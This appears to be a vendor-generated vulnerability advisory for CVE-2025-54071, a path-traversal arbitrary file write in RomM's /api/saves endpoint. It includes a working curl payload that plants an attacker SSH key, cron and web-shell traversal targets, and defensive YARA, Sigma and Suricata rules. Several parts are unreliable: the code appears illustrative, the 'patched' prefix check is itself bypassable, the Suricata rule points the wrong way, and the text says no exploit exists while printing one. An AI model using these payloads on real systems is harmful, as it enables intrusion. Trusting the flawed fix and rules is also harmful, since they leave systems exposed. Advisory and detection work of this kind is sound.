CVE-2025-54071
Executive Summary
CVE-2025-54071 is a critical arbitrary file write vulnerability in RomM (ROM Manager), a web application for managing and playing game ROM collections. The flaw resides in the /api/saves endpoint, allowing an authenticated attacker with at least a viewer role or Scope.ASSETS_WRITE permission to write arbitrary files to any location on the filesystem. This can be leveraged for Remote Code Execution (RCE) by overwriting critical system files, such as SSH authorized keys, cron jobs, or web application scripts. The vulnerability affects versions 4.0.0-beta.3 and below and is fixed in version 4.0.0-beta.4. No public proof-of-concept or exploit code is currently available, but the risk is high due to the potential for full system compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RomM is a Python-based application typically deployed via Docker or directly on Linux systems. The vulnerability is in the application's own code, not in a third-party package. However, the arbitrary file write capability could be used to tamper with the application's dependencies or configuration files, leading to supply chain attacks within the compromised environment.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, the vulnerability can be assessed based on its characteristics:
- Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Requires authentication with viewer role or higher.
- User Interaction (UI): None (N) – No user interaction needed.
- Scope (S): Changed (C) – The vulnerability can impact resources beyond the application's security scope (e.g., system files).
- Confidentiality (C): High (H) – An attacker can read sensitive files.
- Integrity (I): High (H) – An attacker can modify any file.
- Availability (A): High (H) – An attacker can disrupt system availability.
Estimated CVSS Score: 9.0 (Critical)
Threat Level: Critical – Exploitation can lead to full system compromise with low privileges required.
Deep Dive & Mechanics
The vulnerability exists in the /api/saves endpoint, which is designed to allow users to upload save game files. The endpoint fails to properly validate the file path provided by the user, allowing path traversal sequences (e.g., ../) to escape the intended upload directory. An attacker can craft a request with a malicious file path to write content to arbitrary locations on the filesystem.
Key Mechanics:
- Authentication Bypass: The endpoint requires authentication, but a low-privileged user (viewer role) can access it.
- Path Traversal: The application does not sanitize the user-supplied file path, allowing
../sequences. - Arbitrary File Write: The attacker can write arbitrary content to any path the application process has write access to.
- Remote Code Execution: By overwriting a file like
~/.ssh/authorized_keys, a cron job script, or a web application file, the attacker can execute arbitrary commands.
Example Attack Flow:
- Authenticate as a viewer user.
- Send a POST request to
/api/saveswith a crafted JSON payload:{ "path": "../../../../home/romm/.ssh/authorized_keys", "content": "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil" } - The application writes the attacker's SSH public key to the authorized_keys file.
- The attacker logs in via SSH as the
rommuser.
Vulnerable vs. Patched Code
Vulnerable Code (Version 4.0.0-beta.3 and below):
@app.route('/api/saves', methods=['POST'])
@login_required
def upload_save():
data = request.get_json()
path = data['path']
content = data['content']
# No validation of path
with open(path, 'w') as f:
f.write(content)
return jsonify({'status': 'success'}), 200
Patched Code (Version 4.0.0-beta.4):
import os
@app.route('/api/saves', methods=['POST'])
@login_required
def upload_save():
data = request.get_json()
path = data['path']
content = data['content']
# Validate path is within allowed directory
allowed_dir = '/var/romm/saves'
full_path = os.path.normpath(os.path.join(allowed_dir, path))
if not full_path.startswith(allowed_dir):
return jsonify({'error': 'Invalid path'}), 400
with open(full_path, 'w') as f:
f.write(content)
return jsonify({'status': 'success'}), 200
The patch uses os.path.normpath and os.path.join to resolve the path and then checks that it starts with the allowed directory, preventing path traversal.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy RomM 4.0.0-beta.3 using Docker:
docker run -d -p 8080:8080 --name romm-vuln romm/romm:4.0.0-beta.3 - Create a viewer user via the web interface or API.
Exploitation Steps:
- Authenticate and obtain a session token.
- Craft a payload to write an SSH key:
curl -X POST http://target:8080/api/saves \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{"path": "../../../../home/romm/.ssh/authorized_keys", "content": "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil"}' - SSH into the target as the
rommuser:ssh -i private_key romm@target
Alternative Payloads:
- Overwrite a cron job:
../../../../etc/cron.d/malicious - Overwrite a web shell:
../../../../var/www/html/shell.php
Blue Team
Detection Steps:
- Monitor for unusual file write operations to sensitive directories (e.g.,
/etc,/home,/root). - Alert on path traversal patterns in API requests (e.g.,
../in JSON fields). - Review authentication logs for unusual API calls to
/api/savesfrom low-privileged users. - Implement file integrity monitoring (FIM) on critical system files.
Hunting Queries:
- Search for API requests containing
../in thepathparameter. - Look for SSH key additions outside of normal administrative activity.
- Check for new cron jobs or web shells.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/api/saveswithpathcontaining../sequences. - Unusual outbound SSH connections from the RomM server.
- POST requests to
- File System IOCs:
- Unexpected files in
/home/romm/.ssh/authorized_keys. - New cron jobs in
/etc/cron.d/or/var/spool/cron/. - Web shells in web-accessible directories.
- Unexpected files in
- Process IOCs:
- Unusual processes spawned by the RomM application (e.g.,
bash,python).
- Unusual processes spawned by the RomM application (e.g.,
- Log IOCs:
- Authentication logs showing viewer users making API calls to
/api/saves. - System logs showing file modifications outside normal patterns.
- Authentication logs showing viewer users making API calls to
Detection Engineering
YARA Rule
rule CVE_2025_54071_Arbitrary_File_Write {
meta:
description = "Detects attempts to exploit CVE-2025-54071 in RomM"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-54071"
strings:
$path_traversal = /\.\.\/[^"]*/
$api_endpoint = "/api/saves"
condition:
$api_endpoint and $path_traversal
}
Sigma Rule
title: CVE-2025-54071 RomM Arbitrary File Write
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-54071 via path traversal in /api/saves
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/saves'
cs-uri-query|contains: '../'
condition: selection
falsepositives:
- Legitimate use of relative paths in rare cases
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-54071 RomM Arbitrary File Write Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/saves"; http_uri;
content:"../"; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade RomM to version 4.0.0-beta.4 or later.
- If upgrade is not possible, disable the
/api/savesendpoint by removing or commenting out the route in the application code. - Restrict network access to the RomM web interface to trusted IPs only.
- Implement a Web Application Firewall (WAF) rule to block requests containing
../in thepathparameter.
Long-Term Mitigations:
- Apply the principle of least privilege – ensure the RomM application runs with minimal filesystem write permissions.
- Use a chroot or container to isolate the application from the host filesystem.
- Implement input validation for all file paths, using allowlists instead of blocklists.
- Conduct regular security audits and penetration testing on the application.
Patch Details:
- Upgrade to RomM version 4.0.0-beta.4, which includes proper path validation using
os.path.normpathandos.path.join.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert